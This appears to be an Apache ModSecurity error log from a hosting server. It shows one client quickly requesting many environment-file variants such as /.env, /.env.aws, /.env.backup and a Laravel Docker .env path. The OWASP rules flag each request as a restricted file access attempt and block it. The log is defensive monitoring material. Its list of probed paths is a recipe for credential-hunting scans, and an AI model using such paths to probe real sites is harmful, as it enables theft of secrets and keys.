[Sat Oct 24 06:59:33.249524 2026] [security2:error] [pid 2607845:tid 2607845] [client 34.62.25.61:55366] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "atyPlUZmsT_-xVq3Bbq48AAAAAU"]
[Sat Oct 24 06:59:33.249538 2026] [security2:error] [pid 2607845:tid 2607845] [client 34.62.25.61:55366] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "atyPlUZmsT_-xVq3Bbq48AAAAAU"]
[Sat Oct 24 06:59:33.250414 2026] [security2:error] [pid 2608663:tid 2608663] [client 34.62.25.61:55340] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atyPlTOT1ZsOoHahaDY_FwAAAAY"]
[Sat Oct 24 06:59:33.250543 2026] [security2:error] [pid 2608663:tid 2608663] [client 34.62.25.61:55340] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atyPlTOT1ZsOoHahaDY_FwAAAAY"]
[Sat Oct 24 06:59:33.250772 2026] [security2:error] [pid 2608663:tid 2608663] [client 34.62.25.61:55340] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atyPlTOT1ZsOoHahaDY_FwAAAAY"]
[Sat Oct 24 06:59:33.251999 2026] [security2:error] [pid 2608798:tid 2608798] [client 34.62.25.61:55376] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env-example"] [unique_id "atyPlbX1SaR9hxmEXogoRgAAAAo"]
[Sat Oct 24 06:59:33.252183 2026] [security2:error] [pid 2608798:tid 2608798] [client 34.62.25.61:55376] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env-example"] [unique_id "atyPlbX1SaR9hxmEXogoRgAAAAo"]
[Sat Oct 24 06:59:33.252453 2026] [security2:error] [pid 2608798:tid 2608798] [client 34.62.25.61:55376] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env-example"] [unique_id "atyPlbX1SaR9hxmEXogoRgAAAAo"]
[Sat Oct 24 06:59:33.253449 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.62.25.61:55368] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/laravel/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "atyPlQSwRuPA-FjBma7IVAAAAAI"]
[Sat Oct 24 06:59:33.253583 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.62.25.61:55368] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "atyPlQSwRuPA-FjBma7IVAAAAAI"]
[Sat Oct 24 06:59:33.253805 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.62.25.61:55368] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "atyPlQSwRuPA-FjBma7IVAAAAAI"]
[Sat Oct 24 06:59:33.319685 2026] [security2:error] [pid 2608731:tid 2608731] [client 34.62.25.61:55348] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "atyPlfPD_keneTOG9SbiSgAAAAg"]
[Sat Oct 24 06:59:33.319911 2026] [security2:error] [pid 2608731:tid 2608731] [client 34.62.25.61:55348] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "atyPlfPD_keneTOG9SbiSgAAAAg"]
[Sat Oct 24 06:59:33.320215 2026] [security2:error] [pid 2608731:tid 2608731] [client 34.62.25.61:55348] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "atyPlfPD_keneTOG9SbiSgAAAAg"]
[Sat Oct 24 06:59:33.324285 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.62.25.61:55326] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.aws"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "atyPlQ6rpxYYtVdDcXCnjAAAABg"]
[Sat Oct 24 06:59:33.324447 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.62.25.61:55326] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "atyPlQ6rpxYYtVdDcXCnjAAAABg"]
[Sat Oct 24 06:59:33.324706 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.62.25.61:55326] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "atyPlQ6rpxYYtVdDcXCnjAAAABg"]
[Sat Oct 24 06:59:33.325732 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.62.25.61:55354] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "atyPlaVWPMRLkHgZYZD6lAAAABU"]
[Sat Oct 24 06:59:33.325883 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.62.25.61:55354] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "atyPlaVWPMRLkHgZYZD6lAAAABU"]
[Sat Oct 24 06:59:33.326095 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.62.25.61:55354] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "atyPlaVWPMRLkHgZYZD6lAAAABU"]
[Sat Oct 24 06:59:33.327021 2026] [security2:error] [pid 2607845:tid 2607845] [client 34.62.25.61:55366] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "atyPlUZmsT_-xVq3Bbq48QAAAAU"]
[Sat Oct 24 06:59:33.327148 2026] [security2:error] [pid 2607845:tid 2607845] [client 34.62.25.61:55366] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "atyPlUZmsT_-xVq3Bbq48QAAAAU"]
[Sat Oct 24 06:59:33.327355 2026] [security2:error] [pid 2607845:tid 2607845] [client 34.62.25.61:55366] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "atyPlUZmsT_-xVq3Bbq48QAAAAU"]
[Sat Oct 24 06:59:33.328413 2026] [security2:error] [pid 2608663:tid 2608663] [client 34.62.25.61:55340] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "atyPlTOT1ZsOoHahaDY_GAAAAAY"]
[Sat Oct 24 06:59:33.328544 2026] [security2:error] [pid 2608663:tid 2608663] [client 34.62.25.61:55340] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "atyPlTOT1ZsOoHahaDY_GAAAAAY"]
[Sat Oct 24 06:59:33.328775 2026] [security2:error] [pid 2608663:tid 2608663] [client 34.62.25.61:55340] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "atyPlTOT1ZsOoHahaDY_GAAAAAY"]
[Sat Oct 24 06:59:33.329770 2026] [security2:error] [pid 2608798:tid 2608798] [client 34.62.25.61:55376] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "atyPlbX1SaR9hxmEXogoRwAAAAo"]
[Sat Oct 24 06:59:33.329926 2026] [security2:error] [pid 2608798:tid 2608798] [client 34.62.25.61:55376] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "atyPlbX1SaR9hxmEXogoRwAAAAo"]
[Sat Oct 24 06:59:33.330141 2026] [security2:error] [pid 2608798:tid 2608798] [client 34.62.25.61:55376] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "atyPlbX1SaR9hxmEXogoRwAAAAo"]
[Sat Oct 24 06:59:33.331266 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.62.25.61:55368] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "atyPlQSwRuPA-FjBma7IVQAAAAI"]
[Sat Oct 24 06:59:33.331392 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.62.25.61:55368] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "atyPlQSwRuPA-FjBma7IVQAAAAI"]
[Sat Oct 24 06:59:33.331603 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.62.25.61:55368] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "atyPlQSwRuPA-FjBma7IVQAAAAI"]
[Sat Oct 24 06:59:33.396088 2026] [security2:error] [pid 2608731:tid 2608731] [client 34.62.25.61:55348] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "atyPlfPD_keneTOG9SbiSwAAAAg"]
[Sat Oct 24 06:59:33.396290 2026] [security2:error] [pid 2608731:tid 2608731] [client 34.62.25.61:55348] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "atyPlfPD_keneTOG9SbiSwAAAAg"]
[Sat Oct 24 06:59:33.396586 2026] [security2:error] [pid 2608731:tid 2608731] [client 34.62.25.61:55348] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "atyPlfPD_keneTOG9SbiSwAAAAg"]
[Sat Oct 24 06:59:33.400445 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.62.25.61:55326] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "atyPlQ6rpxYYtVdDcXCnjQAAABg"]
[Sat Oct 24 06:59:33.400602 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.62.25.61:55326] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "atyPlQ6rpxYYtVdDcXCnjQAAABg"]
[Sat Oct 24 06:59:33.400875 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.62.25.61:55326] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "atyPlQ6rpxYYtVdDcXCnjQAAABg"]
[Sat Oct 24 06:59:33.401790 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.62.25.61:55354] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "atyPlaVWPMRLkHgZYZD6lQAAABU"]
[Sat Oct 24 06:59:33.401931 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.62.25.61:55354] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "atyPlaVWPMRLkHgZYZD6lQAAABU"]
